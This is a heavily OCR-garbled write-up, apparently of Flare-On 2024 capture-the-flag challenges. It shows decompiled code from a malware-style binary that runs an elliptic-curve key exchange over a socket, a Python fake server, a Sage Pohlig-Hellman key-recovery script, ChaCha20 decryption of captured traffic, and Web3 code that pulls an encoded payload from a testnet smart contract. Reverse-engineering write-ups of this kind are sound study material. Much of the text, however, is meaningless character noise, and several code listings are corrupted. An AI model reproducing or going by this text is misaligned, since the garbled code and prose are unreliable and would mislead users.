YPV6TE 0 % x L K1 iss | "sockaddi i X X ksS4 ¢ B Y sE I qpF xs
0000:0000:0000:0000:0000:0000:0000:0000

~ o~ v
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pcap, * *+XL 1 - 4 ¢ K S, X Is. nd@bn dndaYoMbOITISoMOobDTX | X

¥ " Xs s ., S

Seq=1 Ack=97 Win=64256 Len=0 [ACK] 49848 » 31337 60 TCP 192.168.56.101 192.168.56.103 9.0043812 7

(480 bits), 6@ bytes captured (480 bits) on interface \Device\NPF_{D22E@7E2-C195-4E07-8A97-787451C9828C}, id @
Ethernet II, Src: PCSSystemtec_d7:f0:69 (©8:00:27:d7:f0:69), Dst: PCSSystemtec_f@:45:65 (08:00:27:f0:45:65)
Internet Protocol Version 4, Src: 192.168.56.103, Dst: 192.168.56.101

Transmission Control Protocol, Src Port: 31337, Dst Port: 49848, Seq: 1, Ack: 97, Len: ©

TS 1ATEls B LIPAY X DX 4 DD T4 X L ox X IRse T op 447 |

A

X X D i]aSs{ o vos "xj_vxL,,\nySx~:||_: 1L'|\s><~s,,XI@qM0d);|;x:)i<v .

1 1 ‘ncatd - I . ®.s7 1 4 WiAware . _Virtual Network Editag : ~ ¢ mthH dmcy ®Ppc dmno
¥+« S5 HB « "4+ omdOTX
P2 Windows PowerShell

PS C:\flare\level7> .\fullspeed.exe

P2 Windows PowerShell X + v

PS C:\flare\level7> ncat 31337

a_+]0+ 2 ; WUDNmus02 2« | W74riG, cx ™Y J[iflixc
50} %V# L& [{ MP{ [£0°V+mr N& ' mJ

bed+$lip; < idnT+E|

LIS e T KB G X X T S TS T xS sfw o H S |

(¢ > RENE Y ‘L(“S-lti"s-l P

A~ ~

I L S I IR TR IND S N CECI S
K ™ w >s~<.‘s~¢|_s>< Css;‘sv 1
K. C0*s s &

T4 ah vk SB B X 54, AR TIS S o T e
1 x4 _ % Métadata~ _ _ ™ S s X 4% x v @ ¢ pd4", 5 4 01§ s@ ssx@ s

q X S . i Lz

~ v

S .~ « Stack Trace 1 | Issw x ,,¥ o« YStack Trace , , s x .

1,8 40 1 I*sd o X489 ¢« « §ebug Symbolg 1 _ 5 ¢, ® x {118 X« X

® ¢ oox A b ox

~

LX v e 07 s Xy D WS IS % kst TS Y 80 sh 4s ox

~

hardware «~ s _ (Sd4 » Tx o pl x &8 X4 0 0 o ssc{ S X sy .

~ ~ ~ ~ v ~ ~ >

® P 4 s, SET XX T, XX X1 s s ¢« feakpoints

~ AV o~
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https://migeel.sk/blog/2023/09/15/reverse-engineering-natively-compiled-dotnet-apps/
https://migeel.sk/blog/2023/09/15/reverse-engineering-natively-compiled-dotnet-apps/
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
https://harfanglab.io/insidethelab/reverse-engineering-ida-pro-aot-net/
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¥ " L ws Sl v oL XS

ST s

| inte4  fastcall inp5{ inte4 al, char *a2, int a3, int a4)
d
SOCKET w7; f/ rl4
unsigned int v8; // ebx
DWORD LastError; // esi
__ inte4 v1l; // [rsp+eh] [rbp-Bah] BYREF
_BYTE w12[48]; // [rsp+28h] [rbp-98h] BYREF
char *v13; // [rspt58h] [rbp-68h]
SOCKET vi4; // [rsp+58h] [rbp-68h]
int v15; // [rsp+6eh] [rbp-58h]
int v16; // [rsp+64h] [rbp-54h]
__int128 v17; // [rsp+68h] [rbp-58h]

w17 = Big4;

*( QWORD *)&17 = alj

sub_7FF7B625E6A@(al, ( BYTE *)&vil + 112);
w7 = *(_QWORD *)(v17 + 8);
SetLastError(8);

S ]
= al;
= ali;
= aLJ-
_FEF7BEL73D3E((  intea)viz);
v8 = recv(vl4, v13, wvle, vl5);
sub FFF7BEL17308@((  inted)viz);
LastError = GetLastError();
if { BYTEB(v17) )
sub_7FF7BG25EGE@(v17, @);
*( DWORD *)(sub 7FF7BG17217A() + 136) = Lastirror;
return va;

t

Py LIxe  AX r 40X 1B T4 3 0% o X LSe L 4SS o YRR

SY T A4S Y™ % X 38y VAL X

~

w2l sub YFF/B617209BB(Bunk VFF/BB2ZCBZ6E]);

sub FFF7BEIELAE@(v21, vi);

v23 = (*(__int64 (_ fastcall **)}{ QWORD, _ int64, _ int64))}(**(_QWORD **)(v@ + B) + B@i64))(

*(_QWORD *)(ve + B),
-g

IR -
L

S v q LiaqdX, X0 S 1. SO x S . SOVA W S S s s, x %X,

~ ~ ~

¥ 1.8 % {,sFx o sPOx ., sT.xsyvHa s si's, x I X

v

| _int64 _ fastcall sub_7FF7B61E48F@(__int64 al)

__int64 v1; // rbx
__int64 v3; // rbx
vl = (*(_int64 (__fastcall **)(__int64))(*(_QWORD *)al + 88i64))(al);
if ( !(unsigned int)sub_7FF7B61E6BCO(v1, ©i64, 1i64) )
{
3 = sub_7FF7B61729B@(&unk_7FF7B62CF668);
sub_7FF7B622897@(. , &off_7FF7B62B6588);
sub_7FF7B6172F30(v3);

}

return vi;

i
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T v X {48 4 X4« 7 IxX, € ] x]s, ises , { QWY Sx & ousxp ]IS XX Do X 4S

Technologic

X S ~'|Vk’ { Js€Cesi3x " ] & q Xk fsJ\ . P -|s\~-|A ~ R B IR “Z”-|s~ { B L 5

So 4N ks S4sT 4T S8 X X Losy KX s AT Ty aeed 14

Y X3 447 x s oo X XTRAXS

~ ~ ~ v

hydrated:@@ee7FF7B62B6588 off_7FF7B62B65B8 dq offset unk_7FF7B62CF168

hydrated:@@ee7FF7B62B6568 ; DATA XREF: sub_7FF7BGLlE48FE+3Fto
hydrated: @@@87FF7B62B65C8 db 1%h

hydrated:8@8a7FF7B62B65C1 db 5]

hydrated: 8@887FF7B62B65C2 db 5]

hydrated: 8@8a7FF7B62B65C3 db 5]

hydrated:88087FF7B62B65C4 alnvalidPointCo:

hydrated:8@087FF7B62B65C4 text “UTF-16LE", 'Invalid point coordinates’,®

1@ ) A4 A4 K o % UTFLBLE , 4, x 454 dJid A4 ¢ A 7S,

~ * 7]« BduncyCastle _ECCurve * xs«41{ & @ $i4xs” x | X 5 s X T S% 4 ¥ !

LS A A R T LT IR LR (R I IV SRS I IV S R I

HECCurve | XL X Q#AOT « 14 » ,rd®IX ¥ o {544 10 800 X

1.01.@ 4+ 454 0 44 49x ¥sxaxx
X L XSO XSO ) {Lx SXY g Kk s, L 19

~ ~

BodncyCastle.Cryptographyd 1 ~ s _ ¥ Xxs¢® > x s{ _x x x .s «s4q (Biglnteger

X@ < WAL ss@ss {94 s i $ S Binary Ninja< Ghidra¥ + 1 _ _ v+

°

~ v

X xiowsl D7 L3 X databaset -4 i o« 1o TSt ST I L X ¥ s s ] T v x
L

YA

~y

L

{

DX AW X CGPFLA 1 X I s
X Az A A A

.

int _ Tastcall main(int argc, const char “Targv, const char TTenvp)

{

int ModuleHandleFromPointer; // esi

if { !'{unsigned __intB8)}sub_l4pee3Bse(@icd4, argv, envp) )
return -1;
MeduleHandleFromPointer = PalGetModuleHandleFromPointer((LPCWSTR) managed_ Main};
if { !{unsigned _ intB8)RhRegisterOSModule(
ModuleHandleFromPointer,
(unsigned int)sub_l4eec7ees,
(unsigned int)sub_148138518 - (unsigned int)sub_ 146867606,
(unsigned int)sub_l4e865BC8,
(unsigned int)}sub_ 148866218 - (unsigned int)sub_148865BC8,
(
1

R I R W, R A WY W B

__int64)off_l4@20CF60,

4) )
return -1;
S_P _Corelib_Internal Runtime_CompilerHelpers_StartupCodeHelpers_ InitializeModules(
ModuleHandleFromPointer,
(unsigned int)&unk_14@1927B8,
{Runk_1481927C@ - Sunk 1481927B@) »»> 3,
(unsigned int)off 14828CF68,
14);
return managed Main(({unsigned int)argc, argv);

= W s Ra & W g

faold B2 = @ WD

}
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Yro1 " - 1 -~ dmanaged mairt | 1 X

vie[e] = ei64;

vie[1] = @is4;
sub_1406086808(v10);

4 = RhpNewFast(&unk_ 148161198);

v5 = RhpNewFast({&unk_148169058) ;

o

if (e )

e

MainMethodArgumer
sub_14@188ACE(Ma1
sub_1486CFF4B();

MethodArguments);

sub_14@ee11D8();
vd = unk_14@158C38;
RhpReversePInvokeReturn(via);
return vi;

*(_DWORD *)(v4 + 72) = -2146233088;

*( QWORD *)(v4 + B) = Bi6d;

*(_DWORD *)(v4 + 72) = -2146233@887;

*( DWORD *)(vd + 72) = -2147024882;
RhpAssignRefAVLocation(gword_l48238768 + 8, v4);

5_P_Corelib System_Runtime_CompilerServices_ClassCeonstructerRunner_ Initialize();
5_P_StackTraceMetadata_Internal StackTraceMetadata_StackTraceMetadata_ Initialize();

RhpAssignRefAvVLocation(qword_ 148238978 + 24, v5);
5_P_Reflection_Execution_Internal_Reflection_Ewecution_ReflectionExecution_ Initialize();
5_P_Corelib_Internal Runtime_CompilerHelpers_StartupCodeHelpers_ InitializeCommandLineArgsW(al, a2);
qword 148239898 = sub 14@0F7980(2unk_148101CCR);

\ *(_QWORD *)(sub_14@88285E() + 8@);

1

= 5_P_CoreLib_System_Threading_Thread_ InitializeCurrentThread();

S_P_CorelLib System_Threading Thread_ SetApartmentState_@(ve, 1i64, 1i64);
5_P_tCorelib_Internal_Runtime_CompilerHelpers_StartupCedeHelpers_ RunModuleInitializers();

ts = 5_P _CorelLib_Internal Runtime_CompilerHelpers_StartupCodeHelpers_ GetMainMethodArguments();

S_P_Corelib_System_AppContext_ OnProcessExit();
if ( *((_QWORD *)&unk_14@8158C38 - 1) )

PSS oYy xdm L 44 e ity

s 0 pd X X7 L, X710 4 s sx X xss (X
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<

am__Main()

__int64 v@; // rbx

int vl1; // esi

__int64 v2; // rax

void *v3; // rd»x
__int64 v4; // rax
unsigned int v5; // ecx
__int64 v6; // rsi
__int64 v7; // rax
__int64 v8; // rdi

int v9; // riad

__int64 CurrentInfo; //

=
¥

~

J

o
e e

int v11; // eax
unsigned int v12; // edi
__intée4 vi13; // ri4
__int64 vi14; // ra>
__int128 v16; // [rsp+28h] [r ot
__int64 v17[S5]; // [rsp+38h] [rbp-

16 = 0i64;
17[@] = @i64;
if ( qword_140158FCO[-1] )
sub_14@001ED4();
@ = qword_140238A68;
1 sub_140107D80((__int64)&unk_14013EB90);
sub_140107D80((__ int64)&unk_14013FR60);

FlareOn 2024
www.DigitalWhisper.co.il

Hae * ;1687 x { L ¥

~



aTechnologic

| int64 _ fastcall sub_14@81@87088(__ int64 al)

==

_inted4 v2; // rsi
char v3; // cl
__inte4 wvd; // rdx

int v5; // eax

if ( qword_l4elssrFCe[-1] )
sub_1488813DA();

sub_14@8@8B9CE@(a1);

a;

= @i6d;

= *(_DWORD *)(v2 + 8);

{vs >@)

= L E\L].-r\.-

e

w3 =13 * v3 + 37;
*(_BYTE *}(v2 + (unsigned int)v4 + 16) “= v3;
= (unsigned int){v4 + 1);

if ( *(&qword_148158DF3 - 1) )
sub 143881&54{8qw0rd 149158DF8J vd};
return (*(_ inte4 (_ fastcall **)(_QWORD, _ inte4))(**(_QWORD **)(qword_148238838 + 8) + 21e6i64))(
*(_QWORD *)(gwerd 148238838 + 8),
o

c COXTXTT s H st A AL XSS o T x s LN sxs o L 1Y L X S e s T

TR o«f X dqm2ds ! x s BB oox W] odr | O X oaSoe X oYY | .

b ix"Cssp x sy, sq_ | BeeryptStrrs o x L 5. X _ s 4 xx* | Xbpacktrace

A ~ A >

., .I ,SA “, X ¥ >|(_ N X o~ >-{ . V:Vv~\ LSX fz)( Fl w >: >5(.i . B VXﬂv;qz [« X-]""-lAV> L
X poxo ] ws® o, o i8S XX RS %8s X< 1I”VA\V%‘WL X $39 « k .S oo 9dadd
M F A vinems o fpss XD x " x -

__int64 v12; /7 rax
__int64 v13; //
__int64 Prng; // ri4

= RhpNewFast(&unk_14015B8268);

1 = decrypt_str((__int64)&unk_14013F(68);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ ctor_1(v@, v1, 16i64);

2 = RhpNewFast(&unk_140158268);

= decrypt_str((__i 1)&unk_14013FA90) ;
BouncyCastle_Cryptography_ Org_BouncyCastle_Math_BigInteger__ ctor_1(v2, v3, 16i64);

4 = RhpNewFast(&unk_140158268);

5 = decrypt_str((__int64)&unk_14013EEC8);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ ctor_1(v4, v5, 16i64);

= RhpNewFast(&unk_14015B268);

/ = decrypt_str((__int64)&unk_14013EC18);

BouncyCastle_Cryptography_ Org_BouncyCastle_Math_BigInteger__ ctor_1(v6, v7, 16i64);
= RhpNewFast(&unk_140158268);

) = decrypt_str((__int64)&unk_14013E860);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ ctor_1(v3, v9, 16i64);

10 = RhpNewFast(&unk_140158618);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_FpCurve__ ctor_1(vie, ve, v2, v4, @i64, @i64, 0);
if ( qword_14@158FCO[-1] )

sub_140001ED4();

11 = qword_140238A68;

thAssxgnRefAVLocatlon(qword 148238A68 + 8, v10);
4 (__fastcall **)(_QWORD, int64
*)(vi1 + 8),

__int64))(**(_QWORD **)(v1il + 8) + 88i64))(

H
thAssignRefAVLocation( 11 + 16, v12);

13 = RhpNewFast(&unk_140158188);
Prng = BouncyCastle_Cryptography_Org_BouncyCastle_Security_ SecureRandom__CreatePrng(&unk_140149898, 1i64);
S.p cOrele _System_Random___ctor_@(v13, @i64);
thAssxgnRefAVLccatlon( + 16, Prng);
return RhpAssignRefAVLocation(vil + 24, v13);
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YY o F R X s pw d K FAS, X L@ i {1 b X8 s s,

0xc90102faa48f18b5eaclf76bb40alb9fb0d841712bbe3e5576a7a56976¢c2baecad 7809765
0xa079db08ea2470350c182487b50f7707dd46a58a1d160ff79297dccObfad6ecfc96a81c4a9

0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315¢c4f0c282fca6709a5f9f7f9c251c9ee
0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fh85452f041
0x127425c1d330ed537663e87459eaalblb53edfe305f6a79b184b3180033aab190eb9aa003 .

Lox X ow X3 x W sogsps 7 4 XTs 1 Cosf yxF o 8 X X J$ o o xS ]

1o xxupisxeax ] oo XF O MRk o4 s b seo s X T 0] e 1 X
1478w ssee s x qCryptographyCurveElliptice = x x4 7 %, L s |

[ s TS SN

L X oA st @ s L X X e S e LW L P R X T kSl Ko
Y x . X i ® | %« .BduncyCasté fpCurve

Modifier Constructor Description

Fp(java.math.BigInteger q, java.math.BigInteger a, java.math.BigInteger b) Deprecated.
use constructor taking order/cofactor

Fp(java.math.BigInteger q, java.math.BigInteger a, java.math.BigInteger b, java.math.BigInteger order,
java.math.BigInteger cofactor)

Fp(java.math.BigInteger q, java.math.BigInteger a, java.math.BigInteger b, java.math.BigInteger order,
java.math.BigInteger cofactor, boolean isInternal)

protected Fp(java.math.BigInteger q, java.math.BigInteger r, ECFieldElement a, ECFieldElement b, java.math.BigInteger order,

java.math.BigInteger cofactor)

CHT S s € x 18X & Javas L ~I X qpiUs_sxf.

U
x

15 S 0 Qg » ST X ps Tt p@br sX T e 47 x pdalss B,

DS AL Y YL T X % d X Kyl 1S . oS UKE T X e 14 s s

s | XH\X"\:V"LLV Asage’f= Jlax>x T 1 P X Soud T LIS o x DX I x 79

1.« 7 $28xy"s , 8B X XX a5 X X d L T LY XX L S ] s s

1 kéy exchangé _ | S T8 ~ ¢ 9 K xxl™ L 4 1A% 1V XQOSX X L SSToxx("T X

:{ LL™ o - X

sage.all

72a3fd
327f
0]

0xc90102faa48f18b5eac1f76bb40alb9fb0d841712bbe3e5576a7a56976c2baecad7809765283aa078583e1le651
0xa079db08ea2470350¢c182487b50f7707dd46a58a1d160ff79297dcc9bfad6cfc96a81c4a97564118a40331feOfcl
0x9f939c02a7bd7fc263adcced16f4c575f28d0c1315¢4f0c282fca6709a5f9f7f9c251c9eede9eblbaal31602167fa538

P

a

b

E = EllipticCurve(GF(p), [a,b])
G

E(0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d6933796d3b9bd659704fh85452f04 1fff14cf0e9aa7e45544f9d8
0x127425c1d330ed537663e87459eaalblb53edfe305f6a79b184b3180033aab190eb9aa003e02e9dbf6d593c5e3b08182 )

A=1337 * G
print (hex(A[ OD[ 2:], hex(A[ 1D[ 2:])

d " fl 7S 6,38 ”L"-IY>XIJ SIS B s CIsx 4 XMdd'Ii I I
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@nvalid point coordinateg:- _ X & 43X X 1 X XX ¥ ss oy T4 X s o x Qo UTs 4 O

Y4, XSRTPKX IS x s g

BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger_ ToByteArray_2(v1l, 1i64, (char *)&u55 + 8);
v12 = *(_QWORD *){ve + 4@8);
J54 = vE + 16
LODWORD(vS5) =

Sul':l ?FF?BG21P!.91E)( v12, &vS4);

v13 = (*(__dinted (T **3(__inte4)) (*({_QWORD *)ve + 88164))(.,3,

14 = (*(__ inte4 (_ fastcall **)(_ inte4))(*{ QWORD *)v13 + 48i64)} (v ;),

/15 = BouncyCastle Cryptography org_| Buuncy[astle Math_BigInteger  Xor(vld, v1);
Q "

*((_QWORD *)&vS5 + 1) = vE + 163
LODWORD(vS6) = 48;
BouncyCastle Cryptography Org BouncyCastle Math_BigInteger_ ToByteArray 2(v15, 1i64, (char *)&uS55 + 8);
v16 = *(_QWORD *)(v@ + 4@8);
vod = v3 + 16;
LODWORD(vS5) = 48;
sub_7FF7B621A918(v15, &uS4);
v17 = *(_QWORD *)(v@ + 4@8);
*({_QWORD *)&S5 + 1) = vB + 16;
LODWORD(vSE) = 48;
sub_7FF7B621A6CR(v17, (char *)&SS5 + 8);
v18 = RhpNewFast((_ int&4)&unk JFF7BG2CB263);
if { *{&qword_7FF7BE2CBACE - 1) )
sub_7FF7B6171454();
Buuncy[astle Cryptography_Org_BouncyCastle Math_BigInteger  ctor 9(( DWORD)v1Z, 1, vi, @, 48, 1);
v19 = BouncyCastle Cryptography_Org_BouncyCastle Math_BigInteger_ Xor(v1i, vl);
28 = *(_QWORD *){ve + 4@8);
*((_QWORD *)&VS5 + 1) = vB + 163
LODWORD(vSE) = 48;
sub_7FF7BE21AGCEA(v28, (char *)&55 + B);
v21 = RhpNewFast((__ inte4)&unk J7FF7BG2CB268);
BouncyCastle Cryptography Org_BouncyCastle Math BigInteger_ ctor_9((_DWORD)v21, 1, v3, @, 48, 1);
v22 = BouncyCastle Cryptography Org BouncyCastle Math BigInteger Xor(w2l, v1);

114 A1 Y&l y X T x[4I3oss™ 4 Xsap @ B F eSO { L X ¥ 4 s
XY 10y " x By XA 08T b, s, X pd ¥ 780 x7s

0x1337133713371337133713371337133713371337133713371337133713371337133713371337
3371337133713371337

1o o M0 LI 4« T D s s X X s xS e x g DT
Y4 nads X

>

socket
HOST= '192.168.56.103'
PORT= 31337
time sleep

def xorbytes (var, key):
bytes (a * b a, b zip (var, key))

xorval

bytes .fromhex( "1337133713371337133713371337133713371337133713371337133713371337
13371337133713371337133713371337")

socket.socket(socket.AF_INET, socket. SOCK_STREAM)

s.bind((HOST, PORT))

s.listen( 1)
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print (f"Listening on {HOST}:{PORT}..."
conn, addr s.accept()
conn:
print ('Connected by' , addr)

X = conn.recv( 48)
print ('Received:' , x.hex())

y = conn.recv( 48)
print ('Received:’ ,y.hex())

our_x input (“"enter public x as hex string: " ).strip()
response xorbytes( bytes .fromhex(our_x), xorval)
conn.sendall(response)

our_y input (“"enter public y as hex string: " ).strip()
response xorbytes( bytes .fromhex(our_y), xorval)
conn.sendall( response)
[ range ( 100):
data input (“enter input as hexstring " ).strip()
conn.sendall( bytes .fromhex(data))
conn.close()

= gy,_qujxxlxi‘,,wp_si,,x 4i‘|:~s-rj>§<|<g<-|~sJVAs|-F‘s|_'|Zs‘x T, P s €

Tv ™ o, sx ipeapngt . X XSa B Al §p X A% ST 4§96 {1 "X s,

~> ~

Y |

Wireshark - Follow TCP Stream (tcp.stream eq 0) - capture.pcapng

Ra6c559073dad49754e9ad9846a72954745e412921213eccdadb1422e2fdd646fc7e28389c7c2e51a591e@147e2ebe7ae)
264022daf8c7676a1b2720917b82999d42cd1878d31bc57b6db17b9705¢c7ff2404cbbf13cbdb8c096621634845293922
a@d2eba817e38b03cde63227bd32e353880818893ab@2378d7db3c71c5¢725c6bba®934b5d5e2d3ca6fa89ffbb374c3
96a35eaf2a5e@b430021de361aa5818015981ffded9824bS50af23bS5ccf16fad4e323483602d0754534d2e7a8aaf8174dcf272d54c31860
3fbd43da3ee325

86dfd
cS@cealc4aal64c35a7f6e3ab0258441ac1585¢c36256dead83cac93007a0c3a2986418e285ffa79c8eb43976d5b587f835699547116
fcbld2cdbba979c989998¢

61490b

ce39da)

577011e@d76ec8eb@b8259331defl3ee6d86723eac9f0428924ee718411d4c701b4d9e2b3793f6117dd3@dacba)
2cae6@0b5f32ceald3e@de63d709838bd6

a7fd35

edfofc

802b15186c7alblad75daf94ae40f6bb8lafcedc4afbl158a5128c28c91cd7a8857d12a661acaec

aec8d27a7cf26a17273685

35a44e)

2f391

ed09447ded797219¢c966ef3dd5705a3c32bdb1710ae3b87fe66669e@b4646fc416c399c3ad4feledc@a3ec5827h)
84dbS5a79b81634e7c3afe528a4dal5457b637815373d4edcac2159d056

5981f71c7ealb5d8ble5f@6fc83bldef38c6f4e694e3706412eabf54e3b6f4d19e8ef46b04e399f2cBece8s17a)

L X asX XS G x4 ], T8 C sh 4T XL KIS T
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partial_key + mul_amount * mul_result_factors
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Yshared secrgt t 1 *!_ T« 4

sage.all
xorval 0x1337133713371337133713371337133713371337...
p = 0xc90102faa48f18b5eaclf76bb40alb9fb0d841712bbe3 ...
a = 0xa079db08ea2470350c182487b50f7707dd46a58a1d160 ...
b = 0x9f939c02a7bd7fc263a4cce416f4c575f28d0c1315c4f

E = EllipticCurve(GF(p), [a,b])

G = E(0x087b5fe3ae6dcfb0e074b40f6208c8f6de4f4f0679d ...,
0x127425c1d330ed537663e87459eaalblb53edfe305f6a79bl ...)
n = G.order()
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bob_pub = E(27688886377906486650974531457404629460. ..
205597373473800952798894658118465261514054125...
alice_pub E(390272974913629072702145671307735281...
82291098578672604869938313439794054886683879...

P = bob_pub

print ("Number of bits in n:" , N.nbits())
factors n.factor()
print ("n's factors:" , factors)
PRIVATE_KEY_BIT_SIZE- 112
print ("We know that the private key is" , PRIVATE_KEY_BIT_SIZE, "bits long"
print (“Lets find which of the factors of G's order are relevant for finding the
private key" )
count_factors_needed 0]
new_order 1
p, e factors:
new_order p“e
count_factors_needed 1
new_order.nbits() PRIVATE_KEY_BIT_SIZE:
print ("Found enough factors! The rest are not needed"

factors factors[:count_factors_needed]
print ("Considering these factors:" , factors)
print ("Calculating discrete log for each quotient group..."
subsolutions [
subgroup 1
Gs = []
Ps =[]
p, e factors:
quotient_n (n p " e
GO = quotient_n €
PO = quotient_n P
Gs.append(G0)
Ps.append(PO0)
k = GO.discrete_log(P0)
subsolutions.append(k)
subgroup.append(p e)
print ("Running CRT..." )
k = crt(subsolutions, subgroup)
print ( hex(k))

X range ( 2** 16):
candidate_key k +x* m
P_candidate candidate_key G
P_candidate P:
print (f"Found the key: { hex(candidate_key)}"

v xusx 1L,y 8 x x| {4 < PohligHellman Algorithm ~ ¢ x > & {s X

> ~~

\;|(I521xx-|-|>Z-|XLV\xs|“,,AI:va})jLX]I:x LS \x<’51L“Z,_s1]AV

s xR T X w0 M@ ] B 0% . s kT 1 X s xR R A st

R S U O T IUAE 52 R DD S TR B-IE S YN D SO N
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DA M DT s, s DX fLx TsD D LSS Tx 11D sKd s

s 7 s . X Sy %" shared secrat | {1 ¥Y+S4155 . «edxchangeg s | x X % sXpo* x

1. ssY dharedsecrgt ~ Yy $47 s 1 -, %xy{ A1 _ 4,

r@® 4 &xdhange 1 X A S U | x4 sl 4 {qlsx s
Cvwd® w5 4 x X4 s X Ix1y 41~ 15  _ sshated secret + 1 | EGDH

I X qde s ., X X%, X qs: X s
Lk . s -

alice_private_key 0x7ed85751e7131b5eaf5592718bef79a9
bob_private_key 0x73a3e816c7642f57e6bd4c6079a19d64
shared_secret_alice alice_private_key bob_pub
print (f"Shared secret from Alice's side: {shared_secret_alice}"
shared_secret_bob bob_private_key alice_pub
print (f"Shared secret from Bob's side: {shared_secret_bob}"

shared_secret_alice shared_secret_bob:

print ("Shared secret verified, both sides are equal!"

print ("Mismatch in shared secret, something went

Shared secret from Alice's side: ( 92859331894585873603709964099... :
3806923274391864238322178314628307892Q.. : 1)

Shared secret from Bob's side: ( 9285933189458587360370996409965... :
3806923274391864238322178314628307892Q.. : 1)

Shared secret verified, both sides are equal!

KA ST b "0 g4 X x4 NS 8B oaL I XXX ST RS S ¥ X[ 4.
1 e S 11x0 08 " w sk 14,1 XX hashe X X L0 cdls 04 1 TR ol X
B LB SO T B Y X M DX T g X T adbox s

1Z v hos o i d X AR X X o s . 8 4 s ST sisql .

Xt d - «T~xus Sy s _148% 4« 04ld "I 4 ¢ {T¥sxChaChao

f 14 " <hdshs S 4 ¢« S@ .S X . X S{”haghx {5 _ X s

boSp 4 iSXC {SEA12s ¢ 1 "4l 1 L°1vCGhaCha0m 1 ! T 18 SH pic X SHA 1 %X . 1

10X x 0471584 %4t F «r Ymtnoncat { ~ ® ~Ononcat + s s ¢ 41 | s

Yo, ok, 1 ¥yxs 8 94 J s sH 48 X" X w o S e - TS

Crypto.Cipher ChaCha20
hashlib
open("dump”, "rb" ) f:
ciphertext f.read()
password bytes .fromhex( "3c54f90f4d2cc9c0b62df2866c2b4f0c5afae8136d2aled..."

out hashlib.sha512(password).digest()
key = out[ 0: 32]

FlareOn 2024
www.DigitalWhisper.co.il
pn H e X _ 31687 x 4 (¥

~




nonce = out[ 32: 32+8]

cipher ChaCha20.new(key=key, nonce=nonce)
plaintext cipher.decrypt(ciphertext)

print (plaintext.decode())

_ X<«Ukey exchangg 1 ~ 1«1 1 X _ X | ifs« 4 Idumpr _ % *H < .~ 4
TV 4 - L4 XX d 2 fpnd . 1

:\ctts\tlarell-Llinux
verifyverifyls=== dirs ===
secrets
= files =——
fullspeed.exe
cd|secretsokls=== dirs ===
super secrets
== files ==
cd|super secretsokls=== dirs ===
.hidden
—— sl
cd| .hiddenokls=== dirs ===
wait, dot folders aren't hidden on windows
— T
cd|wait, dot folders aren't hidden on windowsokls=== dirs ===
] g —
flag.txt
. txtRDBudFOVNWVfeTB1cl9Pd25f03VSd j

DOnt_U5e_yOur_Own_CuRv3s@flamecom

Qearlyfaketd ” {1 » ¥ s « s

¥L=~d1, 4152, ~*« _ Ueobfuscators _ Ix.- x 4 "oBflscated * sjs, * ¥ & « ¥ © « X

~>

https://deobfuscate.id

https://obf-io.deobfuscate.io/

https://deobfuscate.relative.im/

https://lelinhtinh.qgithub.io/de4js/
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XA x sevalo TN 217 LTI 3 e o8 sl xoevall X X XK S ox g s

4 b xd L XSS s s s

const Web3 require ("web3");
const fs require ("fs" );
const web3 new Web@"BINANCE_TESTNET_RPC_URL"
const contractAddress "0x9223f0630c598a200f99¢c5d4746531d10319a569" ;
async function callContractFunction (inputString) {
try {
const methodld = "0Ox5684cff5" ;
const encodedData = methodld web3.eth.abi. encodeParameters ([ "string" 1],
[inputString]). slice (2);
const result = web3.eth. call ({
to: contractAddress,
data: encodedData
b
const largeString = web3.eth.abi. decodeParameter ( "string” , result);
const targetAddress = Buffer. from (largeString, "base64" ). toString ("utf -8");
const filePat h = "decoded_output.txt" ;
fs. writeFileSync (filePath, "$address =" targetAddress "\'n");
const new_methodld =  "0x5c880fch" ;
const blockNumber = 43152014;
const newEncodedData = new_methodld
web3.eth.abi. encodeParameters ([ "address" ], [targetAddress]). slice (2);
const newData = web3.eth. call ({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi. decodeParameter ("string” , newData);
const base64DecodedData = Bulffer. from (decodedData, "base64"). toString ("utf -8");
fs. writeFileSync (filePath, decodedData);
console. log (‘Saved decoded data to:${filePath}")
} catch (error) {
console. error ("Error calling con tract function:" , error)
}
}

const inputString "KEY_CHECK_VALUE"
callContractFunction (inputString);

10 12  +WwSWart contraa ~ X _ L X « X x 14 p * GPT+ + 1. X Hk 4%+

P s Ss . . X

vo v o~ v

C1A P T L pyse, x g sS4 144 5s £

Y 44X 74 b X 4 S podert _ | S st B¢y

Y_]x)s":x S, 8 S

~ ~

const Web3= require ('web3' ).default;

P s x o s q ,,Xs,,Lv-|vx ~nQde3 U

A4« s@ vy XL " BINANCE_TESTNET RPC:URK » 4 X s . % {8,535 _*

~ ~ ~ ~

BINANCE TESTNET RPC URLA4IL141 x s o « ]

const web3 Web3('https://bsc  -testnet -rpc.publicnode.com”

s hox o lesiweb3™ 4« F W 1 18T

npm install web3
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IS SS{ecdLs M DS XX xSt X LTI a8 InPutString 4 o Loex X .S & X% s
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>
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¢
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https://app.dedaub.com/decompile

X 7L X s Xssp X oS g XX d BFISIesT L4, X XLl X s

~ Y

async function printContractBytecode () {

{

const bytecode web3.eth. getCode (contractAddress);
console . log ("Contract Bytecode:" , bytecode);

(error) {
console . error ("Error fetching contract bytecode:" , error);

LOX . oL o Xls o xx Iy Ix 4 s ¢80 Xosgy X [l s s L X I o« XS X

X" o Wt b xs g Yo T 9L o xesHME L, X

.S,
A >

S, Bl X s

X gt TR o x v s 4L X S AT A X XS © o x ] 8o x s X LT x

¥ * sSbliditys | % . % 10

str.length);
r.length + 31 & OxFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFe) + 32 + 31 & B
ngth <
r.data, str.

80000000000000000

000000

e0ea0eeeeee) {
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226dcfd5aalefe3doebsc;

vll = 8x26b1822a8f813274213054a428bdbb6eba267eb9;

vi2 = exf7fc7a6579afa75832b34abbcf35cba793

307f85fe6f57

L IR X nibblegt 4 7 s x AT ] e ISEOX D X a8 X TS Ll X s s
